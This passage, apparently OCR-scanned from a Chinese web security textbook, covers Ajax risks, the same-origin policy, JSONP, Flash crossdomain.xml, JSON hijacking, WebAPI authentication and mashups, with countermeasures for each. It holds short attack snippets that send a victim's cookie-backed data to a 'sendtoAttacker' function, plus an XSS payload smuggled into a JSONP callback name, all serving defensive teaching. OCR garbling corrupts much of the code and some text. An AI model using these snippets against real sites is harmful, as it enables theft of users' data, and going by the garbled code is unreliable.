Teq.cnreadystatechange = function() ( 
if (req.readyState ==4) { 
document. .write (req.responseText); 
) 
1 
Teq.send(nu11) ; 
1 
< /script> 
contents. txt 文件 的 内 容 为 "Hello Ajax. ”, 
打开 包含 这 段 代 码 的 网 页 ,浏览 器 会 自动 取得 contents. txt 文件 ,并 显示 其 内 容 。 无 
须 重复 读 入 页 面 即 可 更 新 画面 内 容 , 这 正 是 Ajax 的 特点 。Ajax 的 概念 图 如 图 11-5 
所 示 。 


2. Ajax 的 潜在 风险 及 对 策 


在 上 面 的 例子 中 Ajax 读 出 的 是 一 个 静态 文件 contents. txt, 在 实际 的 应 用 处 理 中 大 
多 数 情况 读 出 的 是 动态 文件 ,比如 test. cgi 等 。 这 时 ,上 面 的 例子 中 请 求 处 理 的 部 分 就 会 
变 成 类 似 下 面 的 形式 : 
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浏览 器 Web 服 务 器 


index. htm] 
Contents. txt 


Hello Ajax. 


XMLHttpRequest Ph 


11-5 Ajax 的 概念 图 


ITeq.apen ('GET'，'htbp://www.wan20.corytest.cgi? str= Hello+ AJAX') ; 


在 这 种 情况 下 ,如果 test. cgi 执行 后 输出 的 内 容 里 中 含有 非法 脚本 ,就 会 在 用 户 的 浏 
览 器 端 被 执行 ,就 有 可 能 给 用 户 带 来 安全 风险 。 产 生 这 种 风险 的 原因 在 于 test. cgi 文件 
没有 采用 跨 站 脚本 攻击 的 对 策 ,解决 方法 是 检查 输入 输出 内 容 并 进行 无 害 化 处 理 。 

除 TXT 和 CGI(HTML) 文 件 两 种 类 型 外 ,还 有 很 多 类 型 的 文件 会 用 于 Ajax 调用 ， 
例如 XML、CSV、JSON 等 。 应 注意 ,这 些 文件 虽然 设计 是 用 于 Ajax 读 入 ,但 是 也 完全 可 
以 通过 指定 URL 的 方式 直接 请 求 , 这 样 即 使 在 Ajax 中 实施 无 害 化 对 策 ,在 直接 请 求 时 
仍然 会 产生 问题 。 以 CSV 文件 为 例 , 本 来 只 是 以 逗号 分 隔 的 文本 文件 ,即使 内 部 含有 脚 
本 也 不 会 被 执行 ,但 是 在 有 些 浏览 器 中 ,例如 正 , 如 果 指 定 了 * 根 据 内 容 打 开 文 件 选 项 ， 


IE 会 根据 文件 的 内 容 而 不 是 扩展 名 来 判断 处 理 方式 ,如 果 IE 判断 文件 的 内 容 是 HTML 


文本 ,就 会 当 作 HTML 文本 来 解释 ,如 果 含有 脚本 ,也 会 被 解释 执行 。 这 就 是 为 什么 所 
有 的 从 外 部 可 以 访问 的 文件 都 必须 采用 跨 站 脚本 攻击 对 策 的 原因 。 

Ajax 使 用 的 非 同 步 存 取 技 术 使 得 大 量 的 网 页 信息 在 后 台 被 读 取 ,大 大 缩短 了 网 页 的 
响应 时 间 , 但 也 给 安全 管理 带 来 了 相应 的 问题 。 对 于 通过 后 台 访 问 的 每 一 个 请 求 都 必须 
进行 跨 站 脚本 攻击 的 处 理 。 例 如 我 们 熟悉 的 谷歌 Gmail 中 ,一 次 普通 的 用 户 登 录 会 产生 
大 约 20 个 HTML 请 求 ,这 20 个 请 求 中 的 每 一 个 都 需要 确保 不 会 遭 到 攻击 。 

除了 跨 站 脚本 攻击 外 ,注入 式 SQL 攻击 .操作 系统 命令 注入 式 攻击 和 会 话 劫持 等 也 
都 会 在 Ajax 上 发 生 ,也 都 需要 完善 的 对 策 和 得 当 的 处 理 。 


1132 同 源 策略 和 跨 站 访问 
1. 同 源 策略 和 跨 站 访问 的 概念 


同 源 策略 是 指 网 页 中 的 脚本 只 能 连接 此 网 页 的 域名 而 不 能 连接 其 他 域名 下 的 信息 。 
与 此 相对 ,如 果 允 许 访 问 其 他 域名 的 内 容 , 则 称 之 为 允许 跨 站 访问 。 同 源 策略 是 Ajax 最 
基本 的 安全 策略 ,那么 如 果 允 许 跨 站 访问 会 出 现 什 么 情况 呢 , 如 图 11-6 所 示 。 

假设 用 户 登录 到 www. 购物 . com 上 挑选 自己 喜欢 的 物品 ,突然 想起 来 要 看 一 位 网 
友 在 www. 娱乐 . com 上 给 自己 的 留言 ,于 是 产生 了 下 述 一 系列 操作 : 

(1) 转 去 访问 www. 娱乐 . com 网 站 。 


< 
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http://www. 娱 乐 .com/ http://www. 购 物 .com/ 


— > 
W5iqyme rn ¿Ok 大 于 
` — S U 


L 
“m if (req) { 
SY req. open(" GET , ` http: //www. 购物 . com/' ) ; 
req. onreadystatechange=function()1{ 


</script> 


图 11-6 同 源 策略 和 跨 站 访问 


(2) 网 站 www. 娱乐 . com 中 的 脚本 被 下 载 到 客户 端 。 
(3) 脚本 中 的 下 述 跨 站 访问 语句 被 执行 ,从 购物 网 站 取得 用 户 信息 (包含 Cookie 


req.open('GET'，'http://www. 购 物 .com/index.htm1'); 
(4) 取得 的 信息 被 下 面 的 语句 送 往 娱乐 网 站 的 服务 器 : 
sendtoAttacker (req.responseText); 
整个 脚本 内 容 如 下 : 
< script language= "javascript"> 
var req; 
… 建 立 Request 人 省略) 
if (req) { 
req.cpen('GET'，'http://www. 购 物 .ccm/index.html') ; 
Teq.onreadystatechange = function() { 
if (req.readyState ==4) { 
Sendtcattacker (req.responseText) 7 
} 


} 
< /script> 
通过 上 面 的 步骤 (3) ,一 个 Web 请 求 被 送 往 购物 网 站 ,而 从 购物 网 站 返回 的 登录 后 
的 信息 则 通过 步骤 (4) 被 转送 到 娱乐 网 站 。 此 时 保存 有 用 户 登录 购物 网 站 信息 的 cookie 
也 会 自动 送 到 娱乐 网 站 ,这 样 用 户 的 登录 信息 就 会 毫 无 保留 地 被 娱乐 网 站 得 到 ,如 果 
cookie 中 包含 了 用 户 名 和 密码 并 被 娱乐 网 站 的 管理 者 非法 使 用 ,后 果 是 可 想 而 知 的。 而 
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实际 上 因为 有 同 源 策略 的 存在 ,这 样 的 情况 是 不 会 发 生 的 。 因 为 www. 娱乐 . com 和 
www. 购物 . com 是 不 同 域名 ,步骤 (3) 的 访问 会 被 直接 终止 。 

同 源 策 略 不 仅 体现 在 不 同 域名 间 ,即使 是 相同 的 域名 ,不 同 的 端口 号 或 者 不 同 的 协 
议 间 的 访问 也 同样 是 不 被 允许 的 。 另 外 ,不 仅 局 限于 Ajax, 在 Web 访问 中 只 要 是 使 用 脚 
本 的 地 方 该 规则 基本 都 是 适用 的 。 


2. 同 源 策略 的 回避 


虽然 同 源 策略 能 够 提供 安全 上 的 保障 ,但 是 为 了 给 用 户 提供 更 有 效 和 便利 的 服务 ,有 
时 候 又 需要 回避 同 源 策略 。 例 如 ,同时 利用 两 台 服务 器 提供 服务 ,服务 器 之 间 数 据 的 互相 
传送 以 及 通过 API 从 其 他 服务 器 取得 数据 等 都 会 产生 这 种 需求 。 尤 其 是 在 Web 2.0 F , 利 
用 别人 提供 的 各 种 Web 服务 构建 自己 的 网 站 的 情况 非常 普遍 ,因此 回避 同 源 策 略 , 实 现 跨 
站 访问 成 了 一 个 不 得 不 解决 的 问题 。 

跨 站 访问 的 实现 ,通常 主要 有 反 向 代理 方式 JSONP(SCRIPT 标记 ) 方 式 、Flash 方 
式 、 图 像 方式 和 CSS 方式 等 ,其 中 反 向 代理 JSONP 和 Flash 等 几 种 方法 最 为 常用 。 下 面 
从 安全 性 的 观点 来 分 析 这 几 种 方法 。 

1) 反 向 代理 方式 实现 跨 站 访问 

反 向 代理 的 基本 原理 是 设置 一 个 代理 服务 器 ,让 代理 服务 器 去 数据 服务 器 等 其 他 服 
务 器 取得 内 容 , 用 户 的 浏览 器 只 访问 一 个 服务 器 ,就 是 代理 服务 器 ,而 代理 服务 器 在 后 台 
去 访问 别 的 服务 器 。 

这 种 方式 的 问题 是 : 大 量 的 访问 者 通过 代理 来 访问 数据 服务 器 ,使 得 数据 服务 器 端 
看 不 到 访问 者 的 真实 面目 ,从 而 代理 服务 器 可 能 成 为 攻击 数据 服务 器 用 的 跳板 。 解 决 这 
个 问题 除了 通常 的 安全 对 策 外 ,常用 的 还 有 限制 通过 该 代理 可 访问 的 服务 器 数 、. 访 问 者 
身份 认证 和 不 保存 隐私 情报 等 对 策 。 

2) JSONP 方式 实现 跨 站 访问 

JSONP ( JavaScript Object Notation with Padding) 的 原理 是 Ajax 使 用 的 
XMLHttpRequest 对 象 受 同 源 策略 的 影响 不 能 进行 跨 站 访问 时 ,SCRIPT 标记 是 不 在 同 
源 策 略 的 限制 范围 内 的 ,使 用 SCRIPT 标记 就 可 以 从 不 同 的 域 上 读 取 脚本 文件 。 如 
图 11-7 所 示 。 

可 用 一 个 简单 的 程序 来 进行 说 明 ,准备 一 个 下 面 这 样 的 文件 ,其 中 定义 一 个 callback 
函数 ,这 个 函数 在 后 面 通 过 SCRIPT 标记 读 取 JSONP 数据 时 会 被 执行 。 


alert (x["name"]); } 
< /script> 
< script src= "http://mail .wan20.cam/jscn.dat"> < /script> 
< /body> 
</htm> 


< 
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http://www.wan20.com/ http://mail.wan20.com/json.dat 


callback( {"name":"Tom"}); 


11-7 JSONP 的 原理 


json. dat 内 的 数据 如 下 : 
callback( ( "name" : "defender" } ); 


虽然 mail. wan20. com 和 存放 上 述 HTML 的 网 站 不 同 , 但 由 于 SCRIPT 标记 不 受 同 
源 策略 的 限制 ,上 面 的 json. dat 文件 被 读 入 的 同时 ,callback 函数 被 执行 。 

使 用 反 向 代理 时 ,存在 着 必须 把 用 户 认证 信息 通过 代理 服务 器 中 转 的 问题 ,而 使 用 
JSONP 方式 则 不 存在 这 个 问题 。 如 果 数 据 服务 器 需要 认证 ,cookie 认证 信息 由 浏览 器 自 
动 送 给 数据 服务 器 。 

(1) JSONP 的 安全 性 。 

JSONP 的 特点 是 不 论 从 那个 服务 器 上 都 可 以 用 SCRIPT 标记 访问 数据 服务 器 ,这 
既是 优点 也 是 缺点 。 下 面 看 一 个 利用 这 个 缺点 窃取 用 户 情报 的 例子 ,如 图 11-8 所 示 。 假 
设 JSONP 的 数据 http://mail. wan20. com/json. dat 中 包含 保密 数据 ,而 是 否 拥有 存 取 
该 保密 数据 的 权限 通过 检查 cookie 来 实现 。 这 种 情况 下 , 当 攻 击 者 访问 http://mail. 
wan20. com/json. dat 时 ,因为 没有 正确 的 认证 信息 (cookie) ,所 以 不 能 得 逮 。 不 过 ,下 面 
研究 一 下 这 个 流程 : 


http://www.wan20.com/WEB http://mail.wan20.com/json.dat 


Fam. 
| 


图 11-8 JSONP 的 缺点 


@ 攻击 者 把 被 攻击 者 诱导 到 有 如 下 HTML 的 网 站 上 。 


<htm> 
<body> 
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< script> 
function callback (arg) ( 
sendtoAttacker (arg["name"]) ; // 取 得 的 数据 被 送 给 攻击 者 
} 
< /script> 
< script src= "http://rail .wan?20.com/json.dat"> < /script> 
< /poay> 
< /html> 
@ 被 攻击 者 读 入 了 非法 的 脚本 。 
@ 这 个 脚本 的 执行 使 得 被 攻击 者 的 浏览 器 去 获取 http://mail. wan20. com/json. 
dat 上 的 数据 。 这 时 如 果 被 攻击 者 处 于 登录 状态 ,包含 认证 信息 的 cookie 会 自动 发 往 数 
据 服务 器 ,认证 通过 ,从 而 成 功 取得 数据 。 
@ callback 函数 被 执行 ,取得 的 数据 被 送 给 攻击 者 。 
由 于 SCRIPT 标记 调用 JSONP 时 没有 同 源 规则 的 限制 ,通过 上 述 手 段 ,攻击 者 就 可 
以 在 被 攻击 者 毫 无 知觉 的 状态 下 窃取 用 户 的 情报 。 
(2) 使 用 JSONP 时 的 安全 对 策 。 
如 果 通 过 跨 站 访问 的 数据 中 不 含有 隐私 信息 ,这 样 即 使 被 窃取 ,也 不 会 造成 危害 ,就 
无 须 严 密 防 范 。 但 在 实际 中 不 可 避免 地 需要 跨 站 访问 一 些 隐 私信 息 , 这 时 需要 用 到 以 下 
两 种 技术 手段 。 
一 种 是 请 求 参 数 中 追加 认证 信息 。 在 请 求 参 数 中 追加 不 可 推测 的 字符 串 ,数据 服务 
器 收 到 JSONP 请 求 后 校 验 该 字符 串 ,不 符 则 不 予 响应 。 这 个 方法 可 以 简单 地 理解 为 把 
JSONP 文件 的 URL 变 得 极其 复杂 ,攻击 者 无 法 猜 出 正确 的 URL ,自然 也 就 无 法 攻击 。 
另 一 种 是 检查 Referer 头 。 通 过 Referer 头 识别 访问 来 源 站 点 ,阻止 从 一 部 分 站 点 过 
来 的 访问 ,从 而 实现 防御 。 不 过 ,有 很 多 个 人 用 防火 墙 软件 会 设 定 成 禁止 Referer 头 的 信 
息 传输 ,这 时 ,如 果 利 用 检查 Referer 头 的 方法 就 会 拒绝 所 有 这 些 用 户 的 访问 。 
(3) 读 取 JSONP 时 的 安全 问题 。 
除了 提供 JSONP 数据 时 要 注意 安全 问题 以 外 , 读 取 JSONP 数据 时 也 要 注意 ,因为 
是 从 外 部 网 站 读 取 肢 本 ,一 旦 读 取 的 脚本 中 含有 非法 的 代码 ,可 能 就 会 给 自己 的 网 站 带 
来 安全 上 的 问题 。 同 时 因为 用 户 每 次 访问 自己 的 网 站 时 都 会 读 取 外 部 网 站 的 内 容 , 即 使 
以 前 没有 非法 代码 ,也 不 能 保证 现在 或 以 后 没有 。 如 果 非 法 代码 在 短 时 间 存 在 后 又 被 删 
除 ,攻击 的 痕迹 也 会 被 隐藏 得 干 干净 净 。 现 在 通过 SCRIPT 标记 利用 别 的 网 站 提供 的 功 
能 进行 网 络 广告 .访问 统计 等 已 经 非常 普遍 ,在 利用 这 些 资源 的 时 候 , 要 时 刻意 识 到 这 些 
危险 的 存在 ,并 做 好 应 对 的 准备 。 
3) Flash 方式 实现 跨 站 访问 
使 用 Flash 只 要 在 被 调用 一 方 设 定 一 个 crossdomain. xml 文件 就 可 以 简单 地 实现 跨 
站 访问 。crossdomain. xml 文件 的 URL 示例 如 下 : 


http://www.wan?20.com/crossdomain.xml 


crossdomain. xml 文件 的 内 容 如 下 : 
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< cross- domain- policy> 
<allow- access- frcm domainr "ww.wan20.com" /> 
< /cross- domain- policy> 
这 个 设 定 的 目的 是 许可 从 www. wan20. com 过 来 的 跨 站 访问 。 
下 面 看 一 下 Flash 方式 是 通过 何 种 顺序 来 实现 跨 站 访问 的 ,如 图 11-9 所 示 。 


http://www.wan20-app.com/index.swf http://www.wan20.com 
[=m >" crossdomain.xml 
— = 
` 


天 www.wan20.com",load Iv,"GET" 
); 
a 


(3) 


| 
Rs 
index.html 
企 


图 11-9 通过 Flash 实现 跨 站 访问 


(1) 用 户 访问 Flash 网 页 的 网 站 。 

(2) 被 访问 的 Flash 文件 中 写 有 跨 站 访问 指令 。 

(3) 浏览 器 从 被 访问 网 站 取得 crossdomain. xml 文件 。 

(4) 如 果 crossdomain. xml 文件 存在 且 允 许 跨 站 访问 , 则 执行 真正 的 跨 站 访问 。 

与 XMLHttpRequest 对 象 完全 禁止 跨 站 访问 不 同 ,Flash 允许 通过 设 定 文 件 来 规定 
是 访问 禁止 还 是 访问 许可 。 如 果 想 针对 不 同 的 目录 设 定 不 同 的 许可 或 禁止 , 则 可 以 在 子 
目录 下 放置 crossdomain. xml 文件 。 如 果 crossdomain. xml 文件 不 存在 ,就 意味 着 不 允 
许 跨 站 访问 。 

如 果 设 定 了 crossdomain. xml 跨 站 访问 许可 ,其 他 的 文件 (比如 说 登录 后 的 内 容 页 
面 ) 也 就 同时 得 到 许可 。 利 用 这 个 特性 ,就 有 可 能 利用 前 面 讲述 的 跨 站 访问 原理 来 窃取 
用 户 的 保密 信息 。 特 别 是 在 开放 WebAPI 供用 户 使 用 的 情况 下 更 要 注意 。 人 允许 通过 
Flash 访问 自己 的 公开 WebAPI 时 ,crossdomain. xml 文件 的 设 定 如 下 : 

< cross- domain- policy> 

< allow- acoess- from ccmain= "* " /> 

< /cross- domain- policy> 

这 个 设 定 将 允许 来 自 所 有 域 的 跨 站 访问 。 这 种 情况 下 ,如 果 同 一 个 网 站 也 提供 其 他 
服务 ,那么 其 他 服务 也 会 被 开放 成 允许 跨 站 访问 。 就 等 于 为 外 部 攻击 开放 了 一 条 非常 便 
利 的 通道 。 

为 了 防御 这 种 风险 ,首先 要 明确 区 分 允许 跨 站 访问 的 服务 和 不 允许 跨 站 访问 的 服 
务 ,然后 把 这 两 种 服务 分 别 利用 不 同 的 域名 来 提供 。 例 如 一 个 不 允许 跨 站 访问 的 服务 用 
域名 www. wan20. com 来 提供 ,而 男 一 个 允许 跨 站 访问 的 WebAPI 则 用 api. wan20. com 
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来 提供 。 除 此 之 外 , 子 目录 单位 控制 访问 许可 也 是 可 探讨 的 策略 之 一 。 

4) JSON 方式 

(1) JSON 的 概念 。 

上 面 介绍 了 JSONP, 而 JSONP 的 始祖 是 JSON,JSONP 和 JSON 的 区 别 在 于 ,JSON 
并 不 定义 callback 函数 ,而 是 直接 返回 JavaScript 的 对 象 。JSON 的 优势 是 无 须 逐 字 逐 
句 解析 读 和 的 数据 ,而 是 通过 eval() 函 数 处理 即 可 。 脚 本 如 下 


… 建 立 Request (省 略 ) 
if (req) { 
Teq.open('GET', 'cbject.dat'); // 取 得 uaSON 数 据 
req.onreadystatechange = function() { 
if (req.readystate ==4) { 
Var cbj = eval (" ("+ req.responseText+ ")"); // 建 立 对 象 供 后 续 程 序 使 用 
alert (cbj [0] ["name”]) ; 
) 
) 
Treq.send(m111) ; 
) 
< /script> 
< /htm> 


(2) JSON 的 安全 。 

因为 JSON 不 能 直接 通过 SCRIPT 标记 来 调用 ,JSONP 由 此 产生 。 可 是 只 要 稍微 修 
改 一 下 脚本 ,就 可 以 用 SCRIPT 标记 来 调用 JSON 数据 。 也 就 是 说 ,JSON 也 可 以 实现 跨 
站 访问 ,从 而 存在 着 保密 信息 被 盗用 的 风险 。 下 面 介 绍 利用 SCRIPT 标记 调用 JSON 的 
方法 。 

一 些 支持 setter 方 法 的 浏览 器 .例如 Firefox 和 Safari 3 等 ,通过 对 setter 方法 的 再 
定义 使 得 通过 SCRIPT 标记 调用 JSON 成 为 可 能 。 所 谓 setter 方法 是 在 设 定 属性 时 被 调 
用 的 一 个 函数 。 脚 本 如 下 所 示 : 


<htm> 
< Script> 
Object .prototype.— - defineSetter- - ('name', functicn (x) (sendtoAttacker(x);)); 
< /script> 
< script src= "http://www-wan20.comycbject.dat"> < /script> 
< /ntm> 


上 面 这 个 简单 的 脚本 使 得 跨 站 访问 JSON 成 为 可 能 。 利 用 与 JSONP 同样 的 方法 可 
以 把 取得 的 信息 送 给 攻击 者 。 
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(3) JSON 的 对 策 。 
因为 JSON 数据 可 以 跨 站 访问 ,所 以 不 应 该 用 JSON 来 提供 隐私 或 保密 数据 。 不 过 ， 
如 果 能 够 保证 杜绝 跨 站 访问 ,即使 用 JSON 来 传送 保密 数据 也 是 可 以 保证 安全 的 。 杜 绝 
跨 站 访问 的 方法 就 是 只 允许 通过 XMLHttpRequest 对 象 的 访问 ,而 拒绝 SCRIPT 标记 的 
访问 。 具 体 方法 如 下 : 

方法 1: 和 JSONP 一 样 ,利用 请 求 参数 中 追加 认证 信息 以 及 检查 Referer 头 的 方式 。 

方法 2: 禁止 作为 JavaScript 读 入 。 在 文件 的 开头 写 上 “while(1);”。 如 果 是 被 
SCRIPT 标记 读 人 的 ,浏览 器 就 会 陷入 无 限 循 环 , 不 能 向 下 执行 。 或 者 全 部 内 容 用 注释 标 
记 (/ x … x /) 括 起 来 ,也 不 会 被 浏览 器 执行 。 正 常 的 用 户 使 用 XMLHttpRequest 取得 的 
情况 下 ,去 除 while 和 注释 标记 使 用 既 可 。 

方法 3: 仅 限 POST 请 求 调用 。SCRIPT 标记 使 用 GET 请 求 取 得 JSON 文件 ,如 果 
把 该 JSON 文件 设 成 只 能 用 POST 请 求 取得 ,就 可 以 禁止 通过 SCRIPT 标记 的 访问 。 

方法 4: request head 追加 。 如 果 通 过 XMLHttpRequest 对 象 访问 ,追加 一 个 特定 的 
request head 头 。 而 通过 SCRIPT 标记 访问 时 ,这 样 的 request head 是 不 会 被 追加 的 ,这 
样 服务 器 端 就 可 以 判明 是 不 是 通过 SCRIPT 标记 进行 的 访问 ,从 而 施 以 对 策 。 

下 面 是 一 个 追加 request head 的 例子 : 


req.setRequestHeader ("X- Requested- With", "XM[HttrRequest") 


1133 开放 WeAPI 接口 的 安全 问题 与 对 策 


WebAPI 是 指 通过 Web 提供 程序 接口 供用 户 使 用 的 服务 。 最 常见 的 是 谷歌 的 地 图 
服务 和 亚马逊 的 商品 检索 服务 等 。 现 在 越 来 越 多 的 企业 加 入 提供 WebAPI 接口 的 行列 ， 
通过 这 种 与 人 方便 的 途径 ,让 更 多 的 用 户 访问 自己 网 站 ,以 达到 扩大 知名 度 或 者 增加 广 
告 访 问 量 等 商业 目的 。 

一 般 认 为 ,WebAPI 提供 的 访问 方式 越 多 ,就 会 有 越 多 的 用 户 利用 。 所 以 各 企业 都 
倾向 于 提供 各 种 不 同 的 访问 方式 。 过 去 SOAP 形式 用 得 最 广泛 ,但 由 于 用 法 比较 复杂 ， 
现在 越 来 越 多 地 被 REST JSON JSONP 等 形式 取代 。 


1. WebAPI 的 安全 问题 


以 JSONP 形式 的 输出 为 例 ,请 求 http://www. wan20. com/json? func= callback 
返回 的 JSONP 数据 为 callback( { "name" ; "Web20" } ); ,在 这 种 情况 下 ,callback 函数 
名 可 以 自由 指定 ,因而 在 函数 名 中 插入 非法 的 脚本 也 成 为 可 能 。 

如 果 指 定 http://www. wan20. com/json? func= <script——Aalert(xss) < /script>, 
返回 的 就 是 函数 一 script 盖 alert(xss)< 一 /script 二 ( ( "name" : "Web20" } )。 这 个 应 答 
本 来 是 JSONP 数据 ,而 不 是 HTML 文件 ,所 以 本 来 是 不 会 被 执行 的 ,但 是 ,就 像 前 面 介 
绍 的 那样 ,如 果 指 定 了 Internet Explorer 的 “根据 内 容 打 开 文 件 ” 选 项 ,就 会 被 作为 
HTML 来 解释 ,从 而 导致 上 面 的 脚本 被 执行 。 从 而 利用 11. 3. 2 节 关 于 同 源 策略 回避 的 
部 分 中 讲述 的 相同 方法 就 可 窃取 用 户 的 保密 信息 。 
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另外 ,开放 WebAPI 时 ,最 好 和 其 他 服务 独立 开 来 ,不 要 共用 域名 。 这 样 即 使 通过 
Flash 等 进行 非法 的 跨 站 访问 ,也 不 会 影响 到 其 他 服务 。 


2. WebAPI 的 安全 管理 


如 果 WebAPI 提供 的 是 隐私 或 者 保密 信息 ,就 需要 进行 用 户 认证 , WebAPI 的 认证 
方式 和 普通 的 Web 应 用 的 认证 方式 有 所 不 同 。 通 常 , 访 问 WebAPI 都 是 通过 程序 而 不 
是 手工 来 进行 的 ,所 以 很 多 时 候 是 不 需要 像 普通 的 Web 程序 那样 进行 登录 、 会 话 和 退出 
管理 的 ,而 是 常 使 用 一 种 叫做 认证 码 的 方式 来 进行 简单 的 认证 管理 。 

因为 WebAPI 是 建立 在 被 外 部 程序 调用 的 前 提 下 ,从 网 络 攻击 者 的 角度 看 也 是 一 种 
非常 便于 用 程序 进行 攻击 的 应 用 。 认 证 码 就 是 为 了 应 对 这 种 攻击 产生 的 。 用 户 首先 需 
要 利用 邮件 地 址 等 个 人 信息 进行 注册 ,注册 完成 后 系统 会 发 出 一 个 用 来 访问 WebAPI 的 
认证 码 ,通常 是 一 个 几 十 字 节 的 、 按 照 一 定 的 规则 生成 的 字符 串 。 用 户 在 访问 WebAPI 
时 必须 提供 这 个 认证 码 。 而 这 个 认证 码 又 是 不 可 能 通过 简单 的 猜测 由 用 户 自己 来 生成 
的 ,这 样 就 增加 了 非法 攻击 的 难度 。 不 过 通过 非法 使 用 他 人 的 认证 码 , 或 者 利用 编造 的 
个 人 信息 注册 后 取得 认证 码 的 方式 仍然 可 以 访问 WebAPI。 所 以 利用 认证 码 只 能 减少 
一 部 分 非法 攻击 ,完全 杜绝 是 不 可 能 的 。 

除了 认证 功能 外 ,认证 码 还 有 一 个 用 途 , 因 为 WebAPI 是 通过 程序 来 访问 的 , 短 时 间 
大 量 的 访问 会 加 大 系统 的 负荷 ,极端 的 情况 下 有 可 能 导致 系统 崩溃 ,对 此 可 以 通过 限制 
同一 认证 码 在 一 定 的 时 间 内 的 访问 次 数 来 降低 系统 的 负荷 。 


3. 认证 API 


随 着 互联 网 的 发 展 , 在 可 以 匿名 访问 的 网 站 不 断 增加 的 同时 ,要 求 用 户 登 录 后 才 可 
以 访问 的 网 站 也 在 大 量 增加 。 有 时 用 户 在 一 个 网 站 上 登录 后 ,利用 其 他 网 站 时 又 要 再 次 
登录 。 这 给 用 户 增加 了 不 少 麻 烦 ,会 一 定 程度 降低 用 户 利 用 网 站 的 积极 性 。 从 安全 的 角 
度 看 也 没有 用 户 愿意 随便 在 多 个 网 站 上 输入 用 户 名 和 密码 ,同时 网 站 的 管理 者 也 不 愿意 
管理 太 多 个 人 隐私 信息 。 因 为 一 旦 造成 信息 泄露 ,可 能 会 引起 法 律 纠纷 。 

在 这 种 情况 下 认证 API 应 运 而 生 。 使 用 认证 API, 用 户 可 以 不 在 各 种 应 用 网 站 上 和 输 
入 用 户 名 和 口令 ,而 通过 专门 的 认证 网 站 来 完成 认证 过 程 ,不 同 的 认证 网 站 提供 的 认证 
服务 会 有 些 差 别 ,但 基本 原理 是 一 样 的 ,下 面 简单 说 明 如 下 。 

在 这 个 服务 中 主要 有 3 个 角色 ,一 个 是 专门 提供 认证 服务 的 网 站 , 称 其 为 认证 供应 
商 ; 一 个 是 利用 认证 供应 商 提 供 的 认证 服务 的 各 种 各 样 的 网 站 , 称 其 为 认证 应 用 商 ;最 后 

一 个 就 是 普通 用 户 , 如 图 11-10 所 示 。 

(1) 用 户 访问 认证 应 用 商 的 网 站 。 

(2) 认证 应 用 商 的 网 站 引导 用 户 访 问 认 证 供应 商 的 网 站 。 

(3) 用 户 在 确认 是 真实 的 认证 供应 商 的 网 站 后 ,输入 用 户 名 和 口令 。 

(4) 认证 通过 后 ,认证 供应 商 的 网 站 引导 用 户 返 回 认证 应 用 商 的 网 站 。 

(5) 认证 应 用 商 的 网 站 向 认证 供应 商 的 网 站 发 出 请 求 。 

(6) 认证 应 用 商 取 得 该 用 户 的 信息 。 
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认证 应 用 商 网 站 认证 供应 商 网 站 


图 11-10 认证 API 的 构造 


通过 这 种 认证 API, 用 户 可 以 只 在 提供 认证 服务 的 网 站 上 输入 自己 的 用 户 名 和 密 
码 ,就 可 以 利用 其 他 网 站 提供 的 服务 。 如 果 用 户 要 访问 的 认证 应 用 商 的 网 站 只 有 一 个 
时 ,是 看 不 出 这 种 机 制 的 优越 性 的 ;但 如 果 有 多 个 应 用 商 的 网 站 要 访问 时 ,上 面 的 输入 用 
户 名 和 口令 的 操作 也 只 需要 输入 一 次 ,就 会 感受 到 极 大 的 便利 性 和 安全 性 。 

现在 ,有 很 多 企业 和 团体 都 提供 了 自己 的 认证 API, 但 规格 各 式 各 样 , 如 果 要 利用 多 
项 服务 ,就 要 登录 不 同 的 认证 网 站 ,分 别 输入 用 户 名 和 密码 ,操作 非常 不 便 。 基 于 这 种 情 
况 , 现 在 已 经 有 认证 标准 化 的 动向 ,OpenID 就 是 其 中 一 个 典型 的 例子 。 它 提供 了 认证 
API trea S S S P n 
用 户 带 来 极 大 的 方便 ,只 要 一 次 登录 ,可 以 多 点 使 用 。 

ae SSL 安全 协议 ,并 清楚 地 显示 认证 应 用 商 网 站 
(访问 目的 网 站 ) 的 URL, 让 用 户 清 楚 地 看 到 自己 的 登录 信息 被 送 到 哪个 网 站 。 男 外 , 认 
证 网 站 对 于 木马 .黑客 ,钓鱼 等 安全 风险 要 有 充分 的 提示 警告 。 


1134 Mashup 的 安全 问题 与 对 策 


1. Mashup 的 原理 


Mashup 网 站 (混搭 网 站 ) 是 当今 一 种 比较 新 的 网 络 现象 ,是 将 两 种 以 上 使 用 公共 或 
者 私有 数据 库 的 Web 应 用 加 在 一 起 ,形成 一 个 整合 应 用 。 例 如 把 地 图 服务 和 房屋 买卖 
服务 组 合 到 一 起 ,做 成 一 个 具有 良好 视觉 效果 的 房屋 检索 服务 等 。 

越 来 越 多 的 企业 通过 WebAPI 的 形式 提供 各 种 信息 ,这 使 得 利用 这 些 WebAPI 制作 
简单 Mashup 网 站 变 得 很 简单 ,如 图 11-11 所 示 。 

为 Mashup 网 站 提供 内 容 的 网 站 称 为 内 容 供 应 商 网 站 。 内 容 供应 商 网 站 提供 访问 
WebAPI 的 接口 。Mashup 网 站 从 多 个 内 容 供 应 商 网 站 取得 信息 ,经 过 一 定 的 处 理 后 组 
合 起 来 供 终端 用 户 利用 。 

有 时 内 容 供 应 商 网 站 并 不 提供 WebAPI, 这 时 候 就 需要 读 取 其 网 页 ,分 析 内 容 后 , 取 
得 自己 需要 的 信息 。 这 叫做 scrape。 有 WebAPI 的 情况 下 ,表示 内 容 供 应 商 愿意 把 自己 
的 内 容 提供 给 大 家 使 用 ,而 在 scrape 的 情况 下 , 则 很 难 判 断 内 容 供 应 商 是 否 愿意 把 自己 
的 内 容 提供 给 大 家 使 用 。 这 种 情况 下 ,有 时 会 突然 发 生 网 页 构造 变更 ,原来 通过 scrape 
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内 容 供应 商 
11-11 Mashup 网 站 的 构造 原理 


取得 的 内 容 突然 无 法 取得 了 ,所 以 应 该 尽 可 能 利用 WebAPI 来 构筑 Mashup 网 站 。 

Mashup 网 站 获取 信息 的 方式 主要 有 两 种 ,一 种 是 服务 器 端 获 取 方 式 , 另 一 种 是 客户 
端 获取 方式 。 服 务 器 端 获取 方式 是 Mashup 网 站 的 服务 器 端 应 用 程序 访问 内 容 供应 商 网 
站 取得 内 容 , 数 据 形式 上 有 XML、JSON 等 。 客 户 端 获取 方式 是 用 户 通过 浏览 器 访问 
Mashup 网 站 时 ,浏览 器 通过 SCRIPT 标记 从 内 容 供应 商 网 站 取得 内 容 , 数 据 形式 上 有 
JSONP JavaScript 等 。 实 际 建设 网 站 时 ,往往 会 从 多 个 内 容 供应 商 网 站 获取 数据 ,上 述 
